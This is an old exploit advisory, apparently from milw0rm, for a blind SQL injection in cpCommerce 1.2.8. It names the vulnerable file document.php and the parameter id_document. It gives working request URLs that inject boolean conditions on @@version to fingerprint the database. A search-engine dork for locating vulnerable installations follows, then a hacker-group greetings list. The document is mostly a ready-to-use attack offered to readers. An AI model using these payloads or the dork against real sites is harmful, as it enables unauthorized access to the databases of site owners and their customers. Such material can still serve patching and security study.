50 lines
No EOL
1.3 KiB
Text
50 lines
No EOL
1.3 KiB
Text
==========================================================================================
|
|
|
|
|
|
[o] cpCommerce 1.2.8 Blind SQL Injection Vulnerability
|
|
|
|
Software : cpCommerce version 1.2.8
|
|
Vendor : http://cpcommerce.cpradio.org/
|
|
Download : http://cpcommerce.cpradio.org/downloads.php
|
|
Author : NoGe
|
|
Contact : noge[dot]code[at]gmail[dot]com
|
|
Blog : http://evilc0de.blogspot.com
|
|
|
|
|
|
==========================================================================================
|
|
|
|
|
|
[o] Vulnerable file
|
|
|
|
document.php
|
|
|
|
|
|
|
|
[o] Exploit
|
|
|
|
http://localhost/[path]/document.php?id_document=[SQL]
|
|
http://localhost/[path]/document.php?id_document=1 and substring(@@version,1,1)=4
|
|
http://localhost/[path]/document.php?id_document=1 and substring(@@version,1,1)=5
|
|
|
|
|
|
|
|
[o] Dork
|
|
|
|
"Powered by cpcommerce"
|
|
|
|
|
|
==========================================================================================
|
|
|
|
|
|
[o] Greetz
|
|
|
|
MainHack BrotherHood [ http://serverisdown.org ]
|
|
OoN_BoY Paman bL4Ck_3n91n3 Angela Zhang
|
|
H312Y yooogy mousekill }^-^{ loqsa zxvf
|
|
skulmatic OLiBekaS ulga Cungkee k1tk4t str0ke
|
|
Special for Vrs-hCk [ thx cuy.. :p ]
|
|
|
|
|
|
==========================================================================================
|
|
|
|
# milw0rm.com [2009-04-16] |